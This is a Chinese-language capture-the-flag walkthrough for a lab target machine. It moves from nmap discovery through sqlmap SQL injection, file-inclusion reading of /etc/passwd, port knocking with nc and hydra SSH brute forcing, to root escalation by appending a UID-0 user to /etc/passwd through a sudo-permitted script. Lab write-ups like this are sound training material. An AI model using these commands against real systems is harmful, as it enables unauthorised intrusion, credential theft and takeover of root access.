靶机地址
一.进行信息收集
1.使用nmap扫描,进行主机发现
nmap -sn 192.168.25.0/24
使用nmap扫描之后发现ip地址为:192.168.25.153
2.使用nmap进行端口扫描
nmap -p 1-65535 -T4 -A -v 192.168.25.153
发现其开启了22,80端口,但是22端口状态为filtered
3.使用dirsearch扫描敏感目录,发现后台登录页面
二.漏洞扫描
1.这里使用Appscan扫描漏洞,发现它在 http://192.168.25.153/search.php页面存在sql注入漏洞
三.漏洞利用
1.使用sqlmap跑一下,我这里使用的是抓取数据包,直接读取数据包进行注入,用哪个burpsuite抓包,将数据包保存成1.txt文件
2. 获取数据库名称
sqlmap -r 1.txt --batch --dbs
3.有三个库,尝试看看Staff和users找那个的内容
sqlmap -r 1.txt --batch --dbs --tables --columns --dump
1. Staff中的数据表
发现一个admin用户,密码使用md5加密了,使用在线小工具解密,得到密码
2.users中的数据
4.到用户登录页面,使用admin账号登录
1.登录发现此处可能存在一个文件包含漏洞,根据DC-5的打靶经验,使用burpsuite验证一下
2.根据DC-5的经验,这里先使用file试一下
3.发现就是存在文件包含漏洞,并且变量就是file,成功获取到/etc/passwd的内容
5.看到passwd文件中的用户名,和之前查到的数据表中的一样,尝试使用hydra爆破一下,由于22端口状态为filtered,百度一下,可能是靶机中部署了knockd服务,这个服务阻挡了外部流量直接访问当前22端口,打开22端口
for x in 7469 8475 9842 22 ;do nc 192.168.25.153 $x;done
nmap -p 22 192.168.25.153
6.使用hydra进行ssh爆破,得到三个账户密码
hydra ssh://192.168.25.153 -L 2.txt -P passwd.txt -vV -e nsr -t 64
2.txt中是之前得到的用户名,passwd中是之前得到的密码
四.权限提升
1.使用ssh工具分别连接三个账户,查看一下里面的内容信息
1.chandlerb下的内容
2.joeyt下的内容
3.janitor下的内容
2.查看具有root用户权限的文件
find / -user root -perm -4000 -print 2>/dev/null
无法使用sudo提权
3.之前看到janitor账户下,和另外两个相比,多了个 .secrets-for-putin文件夹,看一下里面的内容
4.发现一个和密码相关的txt文件,查看内容,发现里面有几个密码
5.将这几个密码添加到passwd.txt文件中,再次使用hydra进行爆破,发现又爆破出一个用户
6.使用ssh工具成功连接
7.查看具有root用户权限的文件,发现一个无密码执行的脚本
find / -user root -perm -4000 -print 2>/dev/null
8.在各级目录中看一下,发现一个test.py的python文件,查看内容,发现它是一个王文件中写数据的脚本,有root权限
9.创建一个名字为tom,密码为love的账户
1.使用openssl工具生成密码
openssl passwd -1 -salt tom love
2.通过echo命令制作一个拥有root权限的用户并存放到tmp下的a.txt文件中,并使用sudo命令调用test程序将tmp/a.txt文件内容追加到etc/passwd文件中
echo 'tom:$1$tom$7MplKLCAcxlF2KPkA8KLZ1:0:0:root:/root:/bin/bash' >> /tmp/a.txt
注意:这里一定要用单引号,双引号后面无法获取root权限
sudo ./test /tmp/a.txt /etc/passwd
10.切换到tom用户,发现提权成功
11.去root目录下,找到最后的flag